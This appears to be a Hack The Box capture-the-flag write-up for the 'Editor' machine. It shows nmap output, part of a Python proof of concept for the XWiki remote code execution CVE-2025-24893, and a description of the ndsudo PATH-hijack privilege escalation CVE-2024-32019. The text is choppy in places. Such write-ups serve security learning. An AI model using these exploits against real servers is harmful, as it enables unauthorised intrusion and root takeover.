Editor is an easy-difficulty machine from Hack The Box dealing initially with CVE-2025-24893 which is an RCE on XWiki Platform leading us later to exfiltrate user credentials and eventually exploit CVE-2024-32019 which is a local privilege escalation using ndsudo.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://editor.htb/ 8080/tcp open http Jetty 10.0.20 | http-cookie-flags: | /: | JSESSIONID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: PROPFIND LOCK UNLOCK |_http-open-proxy: Proxy might be redirecting requests | http-robots.txt: 50 disallowed entries (15 shown) | /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ | /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ | /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ | /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ | /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ |_/xwiki/bin/undelete/ |_http-server-header: Jetty(10.0.20) | http-title: XWiki - Main - Intro |_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/ | http-webdav-scan: | WebDAV type: Unknown | Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK |_ Server Type: Jetty(10.0.20) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see we have our usual ssh and http (80) ports open with http redirecting us to editor.htb which we will add to /etc/hosts. Alongside a web application deployed on port 8080.
try: response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: output = extract_output(response.text) if output: print("[+] Command Output:") print(output) else: print("[!] Exploit sent, but output could not be extracted.") print("[*] Raw response (truncated):") print(response.text[:500]) else: print(f"[-] Failed with status code: {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}")
if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-24893 - XWiki RCE PoC") parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. http://example.com)") parser.add_argument("-c", "--cmd", required=True, help="Command to execute")
Doing some googling we can find CVE-2024-32019 which is CVE-2024-32019 which works by injecting a malicious binary into the user’s PATH that impersonates a trusted command (nvme) and is executed with root privileges by ndsudo.